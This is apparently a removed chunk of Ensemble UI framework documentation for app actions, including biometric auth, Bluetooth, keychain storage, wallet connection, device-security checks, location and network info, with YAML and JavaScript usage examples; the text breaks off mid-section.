Configuration - -Update your `MainActivity.java`: - -```java -import io.flutter.embedding.android.FlutterFragmentActivity; - -public class MainActivity extends FlutterFragmentActivity { -} -``` - -or `MainActivity.kt`: - -```kt -import io.flutter.embedding.android.FlutterFragmentActivity - -class MainActivity: FlutterFragmentActivity() { -} -``` - -Permissions - -In your `AndroidManifest.xml`: - -```xml - -``` - -### Sample EDL - -```yaml -Button: - label: Biometric Auth - onTap: - authenticateByBiometric: - label: Authenticate to see your balance - - # if device has pin configurated but not biometric sensor be it face or finger, setting allowConfiguration to true will popup user to first configure the settings. - allowConfiguration: true - onAuthenticated: | - //@code - ensemble.debug('Successfully authenticated'); - - onAuthenticationFailed: | - //@code - ensemble.debug('Failed to authenticate'); - - onSensorNotConfigured: | - //@code - ensemble.debug('sensor is not configured'); - - onSensorNotAvailable: | - //@code - ensemble.debug('sensor not available'); - - onError: | - //@code - ensemble.debug('on unknown error'); - -``` - ---- - -### BLE Client - -Ensemble bluetooth modules allows you to create BLE client on ensemble platform. - - -### SETUP - -#### Android -Add permissions for Android (With Fine Location) -```xml - - - - - - - - - - - - -``` - -When release `project/android/app/proguard-rules.pro` add following:- - -> `-keep class com.lib.flutter_blue_plus.* { *; }` - - -#### IOS - -In the `ios/Runner/Info.plist` let’s add: -```plist - NSBluetoothAlwaysUsageDescription - This app needs Bluetooth to function -``` - - -### Action References - -* Note that the event.data is exactly set of characters that the device is sending. It will be a string. If the device is sending JSON data, that will *not* be automatically converted. You will need to call `JSON.parse(event.data)` to convert it to JSON * - -`bluetoothInit` : Turns on the bluetooth (Android only) and Stream of on & off states of the bluetooth. -```yaml -Icon: - name: bluetooth_fill - library: remix - onTap: - bluetoothInit: - onDataStream: | - bluetoothStatus.text = event.data; -``` -`bluetoothStartScan` : Starts a scan for Ble devices -```yaml -Button: - label: Device scan - onTap: - bluetoothStartScan: - onDataStream: | - ensemble.storage.devices = event.data -``` - -`bluetoothConnect` : Establishes a connection to the Bluetooth Device and listen to connection stream -```yaml -Button: - label: Connect - onTap: - bluetoothConnect: - deviceId: ${device.deviceId} - timeout: 60 - onConnectionStream: | - status.text = event.data.status; - onDataStream: | - ensemble.storage.services = event.data; -``` - -`bluetoothDisconnect`: Disconnect connection to Bluetooth Device. -```yaml -Button: - label: Disconnect - onTap: - bluetoothDisconnect: - deviceId: ${device.deviceId} -``` - -`bluetoothSubscribeCharacteristic`: Listen and Retrieves the value of the characteristic. -```yaml -Button: - label: Subscribe - onTap: - bluetoothSubscribeCharacteristic: - id: ${characteristic.id} - onDataStream: | - data.text = event.data -``` -`bluetoothUnsubscribeCharacteristic`: Stop listening to a given characteristics -```yaml -Button: - label: UnSubscribe - onTap: - bluetoothUnsubscribeCharacteristic: - id: ${characteristic.id} -``` - ---- - -# callExternalMethod - -*Note this is relevant for developers who are integrating Ensemble with their flutter apps* - -Utilize the `callExternalMethod` action to call a method in your Flutter app. Ensemble allows you to pass Flutter methods into the framework at the time you instantiate `EnsembleApp`. - -## Example of registering openApp method that's implemented in Flutter - -See how to [embed](https://github.com/EnsembleUI/ensemble/blob/main/starter/lib/main.dart) Ensemble platform in your [existing flutter app](https://github.com/EnsembleUI/ensemble/tree/main/starter) - -```dart - //assuming you have a flutter method called openApp - Map methods = { - //appId, screenId and props will be provided by the EDL code when invoking the callExternalMethod action - 'openApp': ({appId, screenId, props}) => openApp(appId!, screenId, props) - }; - -//following code is from https://github.com/EnsembleUI/ensemble/blob/main/starter/lib/main.dart -void main() async { - WidgetsFlutterBinding.ensureInitialized(); - initErrorHandler(); - await EnsembleModules().init(); - runApp(EnsembleApp( - externalMethods: methods //this is how you can specify one or more Flutter methods that could be invoked from within EDL - )); -} -``` -Here's how to invoke the `openApp` method we registered earlier. - -```yaml -View: - Column: - children: - - Button: - label: Open App - onTap: - callExternalMethod: - name: openApp - payload: - appId: appId - screenId: screenId -``` -Alternatively you can call it in code as follows - - -```js - ensemble.callExternalMethod({ - name: "openApp", - payload: { - appId: appId, - screenId: screenId - }, - }); -``` - ---- - -# checkPermission - -`checkPermission` is designed to check the permission status. It includes components for checking notification, location, contacts, and camera permissions. - -**Callbacks** -1. `onAuthorized`: Executes when the components permission to authorized. Updates the text of the component to "Authorized." - -2. `onDenied`: Executes when the components permission to denied. Updates the text of the component to "Denied." - -3. `onNotDetermined`: Executes when the components permission to not determined. Updates the text of the component to "Not Determined." - -```yaml -- Button: - label: Notification Permission - onTap: - checkPermission: - type: notification - onAuthorized: | - //@code - notificationStatus.text = "Authorized"; - console.log("onAuthorized called"); - onDenied: | - //@code - notificationStatus.text = "Denied" - console.log("onDenied called"); - onNotDetermined: | - //@code - notificationStatus.text = "Not Determined" - console.log("onNotDetermined called"); -``` -When a user taps the "Notification Permission" button, the app checks the notification permission status. Depending on the status, one of the specified callbacks (onAuthorized, onDenied, or onNotDetermined) is executed. - ---- - -# readKeychain - -The `readKeychain` action retrieves previously stored data from the device's secure keychain (iOS) or equivalent secure storage (Android), allowing access to sensitive information that was stored with the highest level of OS security protection. - -## Properties - -| Property | Type | Description | -| :--------- | :----- | :--------------------------------------------------------------------------------------------------------- | -| key | string | The key to retrieve the value from | -| onComplete | action | Execute an Action when the data has been successfully retrieved. The value is available under 'event.data' | -| onError | action | Execute an Action when an error occurs. The error reason is available under 'event.error' | - -## Example - -```yaml -Button: - label: Read from Keychain - onTap: - readKeychain: - key: apiKey - onComplete: - executeCode: - body: | - //@code - console.log("Retrieved API key: " + event.data); - apiKeyInput.value = event.data; - onError: - showToast: - message: ${event.error} - options: - type: error -``` - -## JavaScript Usage - -It is only available in YAML, as this calls a async function whose return type is Future and we use callbacks to handle the result. Our JS is sync and we cannot use async/await in JS. - -## Notes - -- This action reads from the device's secure keychain or equivalent OS security storage. -- Unlike the `getSecureStorage` action, this operation is asynchronous and must use callbacks even in JavaScript. -- The retrieved data is converted back to its original data type (string, number, boolean, or object). -- If no data exists for the given key, the onError callback will be triggered. -- Data stored using [saveKeychain](#savekeychain) can be retrieved with this action. -- The value is available in the `onComplete` action under `event.data`. -- This action provides access to data with OS-level security protection. - ---- - -# saveKeychain - -The `saveKeychain` action stores sensitive information in the device's secure keychain (iOS) or equivalent secure storage (Android), providing a high level of OS-level protection for critical data like authentication credentials, tokens, and other sensitive user information. - -## Properties - -| Property | Type | Description | -| :--------- | :----- | :---------------------------------------------------------------------------------------- | -| key | string | The key to store the value under | -| value | any | The value to store in the keychain | -| onComplete | action | Execute an Action when the data has been successfully stored | -| onError | action | Execute an Action when an error occurs. The error reason is available under 'event.error' | - -## Example - -```yaml -Button: - label: Save to Keychain - onTap: - saveKeychain: - key: apiKey - value: 3f8d9a72e5c6b1f0 - onComplete: - showToast: - message: API key saved to keychain - options: - type: success - onError: - showToast: - message: ${event.error} - options: - type: error -``` - -## JavaScript Usage - -You can also use this action in JavaScript: - -```javascript -// Store a simple string value -ensemble.saveKeychain({ - key: "apiKey", - value: "3f8d9a72e5c6b1f0", -}); - -// Store a complex object -ensemble.saveKeychain({ - key: "accountDetails", - value: { - accountId: "ACC123456", - accessLevel: "premium", - lastAccess: "2023-05-19T14:30:00Z", - }, -}); -``` - -## Notes - -- The keychain provides OS-level security for storing sensitive data. -- On iOS, this uses the Keychain Services API. -- On Android, this uses the Android Keystore System or equivalent secure storage. -- Values stored in the keychain persist even when the app is uninstalled on iOS (not on Android). -- To retrieve the value later, use the [readKeychain](#readkeychain) action. -- To remove the value, use the [clearKeychain](#clearkeychain) action. -- For less sensitive data that doesn't need OS-level security, consider using [setSecureStorage](#setsecurestorage) instead. - ---- - -# clearKeychain - -The `clearKeychain` action removes previously stored data from the device's secure keychain (iOS) or equivalent secure storage (Android), allowing you to clean up sensitive information with the highest level of security when it's no longer needed. - -## Properties - -| Property | Type | Description | -| :--------- | :----- | :---------------------------------------------------------------------------------------- | -| key | string | The key to remove from the keychain | -| onComplete | action | Execute an Action when the data has been successfully removed | -| onError | action | Execute an Action when an error occurs. The error reason is available under 'event.error' | - -## Example - -```yaml -Button: - label: Clear Keychain Data - onTap: - clearKeychain: - key: apiKey - onComplete: - showToast: - message: API key removed from keychain - options: - type: success - onError: - showToast: - message: ${event.error} - options: - type: error -``` - -## JavaScript Usage - -You can also use this action in JavaScript: - -```javascript -// Clear a stored keychain value -ensemble.clearKeychain({ - key: "apiKey", - onComplete: () => { - console.log("API key removed from keychain"); - }, - onError: (error) => { - console.error("Failed to clear from keychain: " + error); - }, -}); -``` - -## Notes - -- This action removes data from the device's secure keychain or equivalent OS security storage. -- This operation completely removes the specified key and its associated value from the keychain. -- If the key doesn't exist, the action may trigger an error depending on the platform. -- Use this action for cleanup when sensitive data is no longer needed (e.g., after logout). -- For security best practices, always clear sensitive data when it's no longer required. -- This action works with data stored using [saveKeychain](#savekeychain). -- Unlike `clearSecureStorage`, this operates at the OS-level security layer. - ---- - -# closeAllDialogs - -closeAllDialogs action dismisses or closes all open modal dialogs within the app, allowing developers to easily manage and reset the dialog stack, ensuring a clutter-free and user-friendly interface for a seamless app experience. - -**Example** - -```yaml -MyStartingDialog: - body: - Column: - styles: - gap: 10 - children: - - Text: - text: Welcome to Ensemble - styles: - fontSize: 16 - fontWeight: bold - - Text: - text: This dialog pops up when the user first visits the page. - - Button: - label: Close dialog - onTap: closeAllDialogs -``` - -The complete example [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/HRIajN2i8bDDVTL32j8m?propertyPanelEnabled=true&instantPreviewDisabled=false&editorV2Enabled=true) demonstrates its usage along with showDialog - ---- - -# connectWallet - -connectWallet action enables users to establish a connection between their digital wallet and the app, facilitating seamless integration with blockchain-based functionalities, token transfers, and decentralized applications, enhancing user interactions with cryptocurrency-related features. - -### Properties - -| Property | Type | Description | -| :---------- | :----- | :---------------------------------------------------------------- | -| id | string | ID allows you to bind to its result. e.g. ${wallet.addresses...}, | -| wcProjectId | string | Wallet connect project Id, get it from wallet connect dashboard | -| onComplete | action | Execute another Action upon successful upload of files | -| onError | action | Execute an Action when uploader fails with error(s) | -| appMetaData | object | [see properties](#propertiesappMetaData) | - -#### properties.appMetaData - -| Property | Type | Description | -| :---------- | :----- | :----------------------------------------------------------- | -| name | string | Your app name, that will be shared to crypto wallet | -| description | string | Your app's description, that will be shared to crypto wallet | -| url | string | You app's / company's url | -| iconUrl | string | Url path of your app's icon | - -**Example** - - - -```yaml -View: - title: Crypto wallet - body: - Column: - styles: { padding: 16 } - children: - - Markdown: - text: | - ### Build Dapps - - - Connect to any crypto wallet that support wallect connect v1, check supporting wallet. [Wallet Connect Explorer](https://walletconnect.com/explorer?version=1) - - - Get wallet connect project id from wallet connect [dashboard](https://cloud.walletconnect.com/sign-in) - - Set application descriptions like name, description. - - We can connected wallet addresses using `walletRef.addresses`. - - Spacer: - styles: { size: 12 } - - - Divider: - - - Spacer: - styles: { size: 12 } - - - Markdown: - text: | - - # Example - - - Spacer: - styles: { size: 12 } - - - Button: - label: Connect to wallet - onTap: - connectWallet: - id: wallet - wcProjectId: 77740b7e86cfcba224464923b8e115e3 - appMetaData: - name: Ensemeble app - description: Ensemble forever - url: https://ensembleui.com/ - iconUrl: https://ensembleui.com/assets/images/logo.svg - onComplete: | - //@code - - address.text = wallet.addresses; - - - Spacer: - styles: { size: 12 } - - - Markdown: - id: address -``` - - - -complete example [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/MnW9B85MmtqPXLEdZETu?propertyPanelEnabled=true&instantPreviewDisabled=false&editorV2Enabled=true) - ---- - -# copyToClipboard - -copyToClipboard action allows users to copy text or content to their device's clipboard with a simple interaction, facilitating easy sharing and transfer of information within the app, enhancing productivity and user convenience. - -### Properties - -| Property | Type | Description | -| :-------- | :----- | :------------------------------------------------------- | -| value | string | The text to copy to clipboard | -| onSuccess | action | Execute another Action upon successful copy to clipboard | -| onFailure | action | Execute an Action when copy to clipboard fails | - -**Example** - -```yaml -View: - header: - title: "Action: copyToClipboard" - styles: - scrollableView: true - - body: - Column: - styles: - gap: 16 - padding: 24 - - children: - - Markdown: - text: | - Use the `copyToClipboard` action to copy a value to the clipbaord. - - - TextInput: - label: Value to copy - id: textInput - value: Hello there - - Button: - label: Copy to clipboard - onTap: - copyToClipboard: - value: ${textInput.value} - onSuccess: - showToast: - message: ${textInput.value} + "copied!" - options: - dismissable: true - type: success - duration: 3 - onFailure: - showToast: - message: ${textInput.value} + "copied!" - options: - dismissable: true - type: error - duration: 3 -``` - - -complete example [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/oQGrStPwLqERIc7kzHFn?propertyPanelEnabled=true&instantPreviewDisabled=false&editorV2Enabled=true) - ---- - -# Device Security - -The `deviceSecurity` action checks if the device is rooted, debugged, or running on an emulator. It executes corresponding actions based on the results of these checks, enhancing security awareness and control within your application - -## Properties - -| Property | Type | Description | -| :-------- | :----- | :------------------------------------------------------------------------------- | -| onSuccess | action | Action to be executed on successful security check with data on device status | -| onError | action | Action to be executed on error during the security check | - -### Event Data - -When the `onSuccess` action is executed, the following data is available under `event.data`: - -- **debugged**: Indicates if the device is in debug mode. -- **rooted**: Indicates if the device is rooted. -- **emulator**: Indicates if the device is an emulator. - -When the `onError` action is executed, the following data is available under `event.error`: - -- **error**: Error message describing the issue. - -**Example** - -```yaml -View: - header: - titleText: "Device Security Example" - - body: - Column: - styles: - padding: 24 - gap: 8 - children: - - Button: - label: Check Device Security - onTap: - deviceSecurity: - onSuccess: - executeConditionalAction: - conditions: - - if: ${event.data.debugged} - action: - showDialog: - body: - Text: - text: "The device is in debug mode." - - elseif: ${event.data.rooted} - action: - showDialog: - body: - Text: - text: "The device is rooted." - - elseif: ${event.data.emulator} - action: - showDialog: - body: - Text: - text: "The device is an emulator." - - else: - action: - showDialog: - body: - Text: - text: "The device is secure." - onError: - showDialog: - body: - Text: - text: ${event.error} -``` - -**Kitchen Sink** - -You can find a complete example of using the deviceSecurity action in the [Ensemble Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/RLWeYjfVwopcTqhWo6mX). This example demonstrates how to integrate the action within a screen, handle the success and error cases, and display relevant information to the user based on the device's security status. - -### Platform Based Configurations - -- **Android**: No additional configurations are required. -- **iOS**: Add following lines to the `Info.plist` file in /ios/Runner/ folder: - -```xml -LSApplicationQueriesSchemes - - undecimus - sileo - zbra - filza - activator - -``` - ---- -**NOTE** - -This action only works for native applications (Android and iOS), on web it will always return false. - ---- - ---- - -# Actions - -When an event is triggered (e.g. button is tapped), you can perform actions such as navigate to a screen, call an API, or even run JavaScript code. - -### Backend API interaction - -| Property | Description | -| :------------------------- | :---------------------------------------------------------------------------------------------------------- | -| [invokeAPI](invoke-API.md) | invokeAPI is used for calling an API. You can call an API on events such as a button tap or on screen load. | - -### Navigation & UI transitions - -| Property | Description | -| :---------------------------------------------- | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| [navigateScreen](navigate-screen.md) | navigateScreen action facilitates smooth navigation to a specific screen or page within the app's interface. | -| [navigateModalScreen](navigate-modal-screen.md) | navigateModalScreen action opens a specific screen or page as a modal overlay, focusing on the temporary view without losing the main app context. | -| [navigateViewGroup](navigate-view-group.md) | navigateViewGroup action allows users to navigate between menu items while maintaining the menu in place. This simulate the experience when user taps on different nav items. | -| [navigateBack](navigate-back.md) | navigateBack action allows users to go back to the previous screen or page within the app's navigation stack. | -| [onViewGroupResume](onViewGroupResume.md) | onViewGroupResume action facilitates ensembleAction execution when navigating back to ViewGroup from different screen. | -| [onViewGroupUpdate](onViewGroupUpdate.md) | onViewGroupUpdate action facilitates ensembleAction execution when update in ViewGroup occurs such as swithcing screen. | -| [showDialog](show-dialog.md) | showDialog action triggers the display of a modal dialog box within the app, presenting important information or notifications. | -| [closeAllDialogs](close-all-dialogs.md) | closeAllDialogs action dismisses or closes all open modal dialogs within the app, ensuring a clutter-free interface. | -| [showToast](show-toast.md) | showToast action displays a temporary notification or message on the app interface, providing concise and contextual updates to users. | -| [uploadFiles](upload-files.md) | uploadFiles action allows users to select and upload files from their device to the app, facilitating data transfer and sharing. | - -### Device capabilities - -| Property | Description | -| :---------------------------------------------------------- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| [openCamera](open-camera.md) | openCamera action allows users to access their device's camera within the app for capturing images and videos. | -| [getLocation](get-location.md) | getLocation action retrieves the device's current location, enabling location-based functionalities within the app. | -| [requestNotificationAccess](request-notification-access.md) | requestNotificationAccess action prompts users to grant permission for the app to send notifications to their device. | -| [showNotification](show-notification.md) | showNotification action displays local notifications within the app, notifying users of important events or information. | -| [notification](notification.md) | notification action manages and handles notifications within the app, enabling effective communication with users and delivering timely updates and alerts. | -| [pickFiles](pick-files.md) | pickFiles action enables users to select files from their device for further processing or usage within the app. | -| [uploadFiles](upload-files.md) | uploadFiles action allows users to select and upload files from their device to the app, facilitating data transfer and sharing. | -| [getNetworkInfo](get-network-info.md) | enables users to retrieve their device's current location, facilitating location-based functionalities within the app, such as mapping, navigation, or personalized content delivery, enhancing user experience and context-aware interactions. It requests user's permission to get his/her current location | -| [saveFile](save-file.md) | The saveFile action saves media files (e.g., images) to the default media storage and documents to the default documents directory on Android and IOS. On the web, it downloads the file to the browser's default download folder. | - -### Secure Storage - -| Property | Description | -| :-------------------------------------------- | :--------------------------------------------------------------------------------------------------------------------------------------------------- | -| [setSecureStorage](set-secure-storage.md) | setSecureStorage action securely stores sensitive information in an encrypted format on the device, ensuring that sensitive data remains protected. | -| [getSecureStorage](get-secure-storage.md) | getSecureStorage action retrieves previously stored encrypted data from the device's secure storage, decrypting it for use within your application. | -| [clearSecureStorage](clear-secure-storage.md) | clearSecureStorage action removes previously stored encrypted data from the device's secure storage, allowing you to clean up sensitive information. | -| [saveKeychain](save-keychain.md) | saveKeychain action stores sensitive information in the device's secure keychain (iOS) and keyStore (Android). | -| [readKeychain](read-keychain.md) | readKeychain action retrieves previously stored data from the device's secure keychain (iOS) and keyStore (Android). | -| [clearKeychain](clear-keychain.md) | clearKeychain action removes previously stored data from the device's secure keychain (iOS) and keyStore (Android). | - -### Other interactions - -| Property | Description | -| :-------------------------------------- | :--------------------------------------------------------------------------------------------------------------------------------------------- | -| [executeCode](execute-code.md) | executeCode action executes custom code logic within the app, enabling dynamic functionality and personalized interactions. | -| [openUrl](open-url.md) | openUrl action opens external URLs or web links within the app, facilitating seamless integration with external content. | -| [startTimer](start-timer.md) | startTimer action initiates a timer within the app, facilitating time-sensitive processes and triggering events after a specified duration. | -| [openUrl](open-url.md) | openUrl action allows users to open external URLs or web links within the app, enhancing content integration. | -| [stopTimer](stop-timer.md) | stopTimer action halts or pauses a running timer within the app, providing control over time-sensitive processes. | -| [copyToClipboard](copy-to-clipboard.md) | copyToClipboard action copies text or content to the device's clipboard, facilitating easy sharing and transfer of information within the app. | - -### 3-rd party services - -| Property | Description | -| :---------------------------------- | :---------------------------------------------------------------------------------------------------------------------------------------------------- | -| [connectWallet](connect-wallet.md) | connectWallet action establishes a connection between the app and the user's digital wallet, enabling blockchain-based interactions and transactions. | -| [openPlaidLink](open-plaid-link.md) | Open the Plaid Link Service so user can link their financial accounts to your service. | - -### Audio Player - -| Property | Description | -| :----------------------------- | :------------------------------------------------------------------------------- | -| [playAudio](play-audio.md) | The playAudio action allows users to play a given audio file from a URL or asset | -| [pauseAudio](pause-audio.md) | The pauseAudio action allows users to pause an already-playing audio file | -| [resumeAudio](resume-audio.md) | The resumeAudio action allows users to resume a previously paused audio | -| [stopAudio](stop-audio.md) | The stopAudio action allows users to stop a already playing audio file | -| [seekAudio](seek-audio.md) | The seekAudio action allows users to pause a already-playing audio file | - ---- - -# dispatchEvent action -Custom widgets in Ensemble, just like widgets in any UI framework, can dispatch events - -`dispatchEvent` action is used in custom widgets to let the caller of the widget know when something interesting has happened. - -For example -- a calendar widget may dispatch an event named 'onDataRangeSelected' to notify the caller that the user selected a range of dates. -- in this example, we have a custom widget named `DispatchEventSample` that is a simple Form widget with two fields and a Submit button. When you tap the Submit button, `DispatchEventSample` dispatches an event namd `onFormSubmit`. A Text widget below the form just prints out the data received in the event - -## Example: -`DispatchEventSample` is Custom Widget that dispatches `onFormSubmit` event -```yaml - Widget: - inputs: - - nameLabel - - emailLabel - - submitBtnLabel - events: - onFormSubmit: - data: - name: - email: - body: - Form: - onSubmit: - dispatchEvent: - onFormSubmit: - data: - name: ${name.value} - email: ${email.value} - children: - - Text: - text: Sample Form that dispatches onFormSubmit whenever the Submit button is pressed - - TextInput: - label: ${nameLabel} - required: true - id: name - validateOnUserInteraction: true - - TextInput: - label: ${emailLabel} - id: email - required: true - inputType: email - validateOnUserInteraction: true - - Button: - label: ${submitBtnLabel} - submitForm: true -``` -The screen that uses the widget `listens` to the `onFormSubmit` event and simply prints out the data -```yaml -View: - # Optional - style the screen - styles: - scrollableView: true - - # Optional - set the header for the screen - header: - title: 'Action: dispatchEvent' - - # Specify the body of the screen - body: - Column: - styles: - padding: 24 - gap: 8 - children: - - Markdown: - text: | - Custom widgets in Ensemble, just like widgets in any UI framework, can dispatch events - - `dispatchEvent` action is used in custom widgets to let the caller of the widget know when something interesting has happened. - - For example - - a calendar widget may dispatch an event named 'onDataRangeSelected' to notify the caller that the user selected a range of dates. - - in this example, we have a custom widget named `DispatchEventSample` that is a simple Form widget with two fields and a Submit button. When you tap the Submit button, `DispatchEventSample` dispatches an event namd `onFormSubmit`. A Text widget below the form just prints out the data received in the event - - Divider: - - - DispatchEventSample: - inputs: - nameLabel: Full Name - emailLabel: Email Address - submitBtnLabel: Submit - events: - onFormSubmit: - executeCode: - body: |- - eventData.text = 'Received Data from onFormSubmit: '+event.data.name + ' ' + event.data.email - - Divider: - - - Text: - id: eventData -``` -See Kitchen Sink for the detailed example[(here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/RajOE62KtSkOHYHJQVJF) - ---- - -# executeActionGroup -Executing a group of Actions, either in parallel (default) or sequentially with each waiting for the other to complete before executing. - -## Usage -- The most common use case for this is calling APIs in parallel using the `invokeAPI` action. Since APIs are asynchronous, multiple APIs will be triggered one after the other in parallel. The parallism is governed by the underlying operating system. -- Use `executeInOrder: true` when certain actions depend on the previous action to complete before executing. An example is closing the current dialog before opening up the new one. Dialog lifecycles are asynchronous, so calling close followed immediately by open will not work as expected. Using `executeInOrder: true` will ensure that the close action completes before the open action is executed. - -## Caveats -- Note that while `executeCode` action can execute asynchronous code, it will not wait and will immediately return. This means that even if it is used inside `executeActionGroup` with `executeInOrder: true`, the next action will be executed immediately after the `executeCode` action is called. - -| Property | Type | Description | -|:---------------|:---------|:-------------------------------------------------------------------------------------| -| executeInOrder | boolean | If true, the actions will be executed in order, one after the other. (default false) | -| actions | Action[] | The list of Actions to be executed | - - -See [Kitchen Sink Example](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/VJQun4rJ91mATTBopsNy#) - -## Example -```yaml - - Button: - label: Round - onTap: - executeActionGroup: - actions: - - invokeAPI: - name: callDelayedAPI - inputs: - num: 1 - - showToast: - message: second action - 2 - options: - duration: 4 - - executeCode: - body: |- - console.log('executed code - 2'); - - invokeAPI: - name: callDelayedAPI - inputs: - num: 3 - onResponse: |- - console.log('inline onResponse - 3'); - - invokeAPI: - name: callDelayedAPI - inputs: - num: 4 - - showToast: - message: number 5 - options: - duration: 3 - - executeCode: - body: |- - console.log('executed code - 5'); -``` - ---- - -# executeCode - -Utilize the `executeCode` action to compose custom JavaScript code within the context of this application. When the execution of the code concludes, you can incorporate a follow-up action by leveraging the `onComplete` property. - -Keep in mind that you need to use **//@code** so Ensemble knows to treat the lines that follow as JavaScript. - -```yaml -View: - Column: - children: - - Button: - label: Execute Code - onTap: - executeCode: - body: | - //@code - codeExecuted.text = 'Code block under body is executed'; - onComplete: | - //@code - onCompleteCodeExecuted.text = 'Code block under onComplete is executed'; - - - Text: - id: codeExecuted - - - Text: - id: onCompleteCodeExecuted -``` - -For examples of the `executeCode` action, see the [Ensemble Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/6f88beb2-efe0-4278-82f3-134d110a8551) app. - -## Properties for executeCode - -| Property | Type | Description | -| :------- | :--- | :---------- | -| body | String | Block of code writen in JavaScript. This block executes when the executeCode action is called. | -| onComplete | String | Block of code writen in JavaScript. This block executes after thh executeCode action is called, and the body code block is executed. | - ---- - -# executeConditionalAction -`executeConditionalAction` is an Action and can be used like any other action. that allows actions to be executed based on if/elseif/else conditions - -- `if` condition is required and should be the first condition -- `elseif` is optional and there can be any number of elseif conditions -- `else` is optional and there can only be one else condition - -See [Kitchen Sink Example](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/HoLgqsVN4zS20TxTHe4M#) - -## Example -```yaml - - Button: - label: Tap to compare the price with 10 - onTap: - executeConditionalAction: - conditions: - - if: ${parseInt(price.value) < 10} - action: - showToast: - message: Price is less than $10 - options: - duration: 5 - - elseif: "${parseInt(price.value) > 10}" - action: - showToast: - message: Price is greater than $10 - options: - duration: 5 - - else: - action: - showToast: - message: Price is $10 - options: - duration: 5 -``` - ---- - -# getLocation - -getLocation action enables users to retrieve their device's current location, facilitating location-based functionalities within the app, such as mapping, navigation, or personalized content delivery, enhancing user experience and context-aware interactions. It requests user's permission to get his/her current location - -### Module (ensemble_location) -Enable Location service in Ensemble code - -By default, Ensemble does not include the location module to avoid installing unnecessary packages. Here, we uncomment a few lines of code to get the necessary packages. - -Inside the directory where you cloned Ensemble Starter, open `/lib/generated/ensemble_modules.dart`. - -* Search for this line and uncomment it: -``` -// import 'package:ensemble_location/location_manager.dart'; -``` - -* Search for this line and uncomment it: -``` - // GetIt.I.registerSingleton(LocationManagerImpl()); -``` - -* Search for this line and set it to true -``` - static const useLocation = false; -``` - ---- - -### Properties - -| Property | Type | Description | -| :----------------- | :----- | :---------------------------------------------------------------------------------------------------- | -| options | object | [see properties](#propertiesoptions) | -| onLocationReceived | action | Callback Action once we get the device location | -| onError | action | Callback Action if we are unable to get the device location. Reason is available under 'reason' field | - -#### properties.options - -| Property | Type | Description | -| :---------------------- | :------ | :----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| recurring | boolean | Whether to continuously get the device location on this screen. Note that a screen can only have one recurring location listener. Adding multiple recurring location listeners will cancel the previous one. | -| recurringDistanceFilter | integer | If recurring, the minimum distance (in meters) the device has moved before new location is returned. (default: 1000 meters, minimum: 50 meters) | - -**Example** - - - -```yaml -View: - # Optional - style the screen - styles: - scrollableView: true - - # Optional - set the header for the screen - header: - title: "Action: getLocation" - - # Specify the body of the screen - body: - Column: - styles: - padding: 24 - gap: 8 - children: - - Text: - text: Get location via Action - styles: - font: subtitle - - Markdown: - text: Use `getLocation` Action to get the location, with the option to continuously get location change updates. - - Button: - label: Listen for location changes - onTap: - getLocation: - options: - recurring: true # while on this page, location changes will continue to execute onLocationReceived - recurringDistanceFilter: 50 # only dispatch if the new location is more than 50 meters away from the previous location - onLocationReceived: |- - //@code - status.text = 'Lat: ' + latitude + ', Lng: ' + longitude; - onError: |- - //@code - status.text = reason; - - Text: - id: status -``` - - - -complete example [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/uH9b2ZnmSS3HT7BsECu4?propertyPanelEnabled=true&instantPreviewDisabled=false&editorV2Enabled=true) - ---- - -# getNetworkInfo - -**Works on native iOS and Android apps only. In the browser, `onError` (if specified) will be called with error `Network info is not supported on the web`.** - -Action to retrieve the following network information - - -- wifiName -- wifiBSSID -- wifiIPv4 -- wifiIPv6 -- wifiGatewayIP -- wifiBroadcast -- wifiSubmask - -If successful, the network information will be available as event.data.networkInfo object with the property names as shows above, for example event.data.networkInfo.wifiName. - -In case of error, the error message will be available as event.error. - -For all other cases, check the `event.data.status` property for details - -## Properties for getNetworkInfo - -| Property | Type | Description | -| :------- | :--- | :---------- | -| onSuccess | action | (Required) call an Action when the network info has been retrieved successfully. Network info will be available under event.data.networkInfo object with properties wifiName, wifiBSSID, wifiIPv4, wifiIPv6, wifiGatewayIP, wifiBroadcast, wifiSubmask | -| onError | action | (Optional) call an Action when unable to retrieve networkInfo. This could be because the location or wifiinfo is not enabled in the app or the module has not been included. Error is available as `event.error` property | -| onDenied | action | (Optional) call an Action when the user has denied access to the location. Location access is required to get the wifi data. The status could either be `denied` or `deniedForever`. `deniedForver` means that the user has denied the location access and has selected the option to never ask again. | -| onLocationDisabled | action | (Optional) call an Action when the location is disabled. This could be because the location is disabled in the device settings. | - -## How to enable the `getNetworkInfo` action for your app - -**When using the build system in the [Ensemble Studio](https://studio.ensembleui.com) the following configurations are automatically added for you and your app is automatically built and made available on the appstore and google play for you to then test or submit for approval.** - -1. First enable the `ensemble_network_info` module as follows - -- open starter/pubspec.yaml and search for `Uncomment to enable NetworkInfo` and uncomment the `ensemble_network_info` module reference - -```yaml - ensemble_network_info: - git: - url: https://github.com/EnsembleUI/ensemble.git - ref: main - path: modules/ensemble_network_info -``` -Run `pub get` to get the latest - -- open `starter/lib/generated/ensemble_modules.dart` and ... -. uncomment import 'package:ensemble_network_info/network_info.dart'; -. set `useNetworkInfo = true;` -. uncomment `GetIt.I.registerSingleton(NetworkInfoImpl());` - -2. Configure permissions for iOS and/or Android as follows - -### Browser -Note that `getNetworkInfo` action is available only on iOS and Android. On the web, `onError` (if specified) will be called with error `Network info is not supported on the web`. - -### iOS -**Location** -Location and `Precise Location` is required to get the `wifiName` and `wifiBSSID`. Other properties can be retrieved without location permission. When location is not enabled. `wifiName` and `wifiBSSID` will return null. - -Open 